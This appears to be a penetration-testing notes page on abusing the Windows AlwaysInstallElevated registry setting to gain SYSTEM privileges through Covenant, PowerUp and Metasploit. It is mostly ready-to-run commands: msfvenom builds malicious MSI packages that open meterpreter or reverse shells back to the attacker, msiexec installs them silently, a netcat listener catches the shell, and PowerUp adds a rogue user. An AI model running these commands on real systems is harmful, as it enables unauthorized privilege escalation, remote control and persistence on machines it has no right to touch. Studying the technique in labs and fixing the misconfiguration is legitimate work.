# Always Installed Elevated exploitation

## Target requirements

* The target needs to have those values in the registry:
  * In `Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer` with the AlwaysInstallElevated set to 1
  * In `Computer\HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer` with the AlwaysInstallElevated set to 1 This means that installation packages are installed with elevated privileges

### Enumerate with cmd

* Type `reg query HKLM\Software\Policies\Microsoft\Windows\Installer` in a cmd prompt should be set to 1
* Type `reg query HKCU\Software\Policies\Microsoft\Windows\Installer` should be one as well\
  ![image](https://user-images.githubusercontent.com/96747355/162576171-430c4e05-d1be-42c4-a840-d844a87cb99e.png)

## Exploitation

* You should have a shell with covenant, metasploit or netcat or an access to the target.\
  We will use Covenant and Metasploit here.

### Covenant

#### Enumerate with SharpUp audit

* In your shell type `SharpUp audit`
*   In the results you should see this:

    ```
    === AlwaysInstallElevated Registry Keys ===

      HKLM:    1
      HKCU:    1
    ```

#### Enumerate with powerup

* In the shell we will type PowerShellImport, type enter and fetch PoweUp.ps1 (if you do not have it you can get it [here](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) )
* Click on execute
* Type `powershell invoke-allchecks` in your shell
*   We should see this

    ```
    [*] Checking for AlwaysInstallElevated registry key...
    AbuseFunction : Write-UserAddMSI
    ```

#### Exploitation

* generate a payload with msfvenom `msfvenom -p windows/exec CMD="" -f msi -o exploitalwaysinstalled.msi` between the quotes copy and paste an encoded launcher.
* Upload your file in the target using Upload command from covenant (type `Upload` and enter, file the file path for the target and browse to the file in your attack machine)
* run it using \`shell msiexec /quiet /qn /i exploitalwaysinstalled.msi
*   We should get a prompt for another reverse shell in our grunts as an elevated user

    ```
    > whoami
    NT AUTHORITY\SYSTEM
    ```

#### Exploitation with powerup

* `powershell -ep bypass`
* `. .\PowerUp.ps1`
* `Write-UserAddMSI`
* It will set up a malicious MSI called `UserAdd`
* And we will be able to add a user\
  ![image](https://user-images.githubusercontent.com/96747355/162576431-66e49563-26cd-45fc-a673-63e9f0a42561.png)
* Our user has been added\
  ![image](https://user-images.githubusercontent.com/96747355/162576458-7498d8e5-bfc7-4dba-9b5c-9a73ac869622.png)

### Metasploit

* Interact with a session you should already have from initial foothold `sessions -i num-of-session`

#### Enumerate

* Launch `run post/multi/recon/local_exploit_suggester`
* You should see: `- exploit/windows/local/always_install_elevated: The target is vulnerable.`

#### Exploitation

* Background your session with ctrl z
* Type `use exploit/windows/local/always_install_elevated`
* set session to the number of the session you have on your target
* type `exploit -j`
* list the sessions you should have another one running as authority system
* type ps and look for a process under session 1 so that we can migrate to it
* We can use winlogon.exe `620 520 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe`
* Migrate to it using `migrate PID-number` in our example it is going to be `migrate 520`

**OR**

* `msfconsole`
* `use multi/handler`
* `set payload windows/meterpreter/reverse_tcp`
* `set lhost your-Kali-IP`
* `run`
* In another console tab `msfvenom -p windows/meterpreter/reverse_tcp lhost=Your-Kali-IP -f msi -o setup.msi`
* Get the generated msi in your target (python server -> browser from target)
* In your target Place `setup.msi` in a folder where you have write access
* Open command prompt and type: `msiexec /quiet /qn /i C:\Folder\you\chose\setup.msi`
* You should get an elevated shell in msfconsole\
  ![image](https://user-images.githubusercontent.com/96747355/162576948-dfc37754-0345-408f-a344-5248975f34b8.png)

### Other way

* Generate a malicious MSI package `msfvenom -p windows/shell_reverse_tcp lhost=IP-OF-ATTACK-MACHINE lport=PORT -f msi > file.msi`
* Set up a listener `rlwrap nc -lnvp CHOSEN-PORT`
* Upload it to the target and execute it from the cmd `msiexec /i c:\users\user\desktop\file.msi /quiet /qn /norestart`
* You should get an elevated shell

## Resources

{% embed url="https://academy.tcm-sec.com/p/movement-pivoting-and-persistence-for-pentesters-and-ethical-hackers" %}
TCM security Academy - Movement pivoting and persistence for pentesters and ethical hacker
{% endembed %}
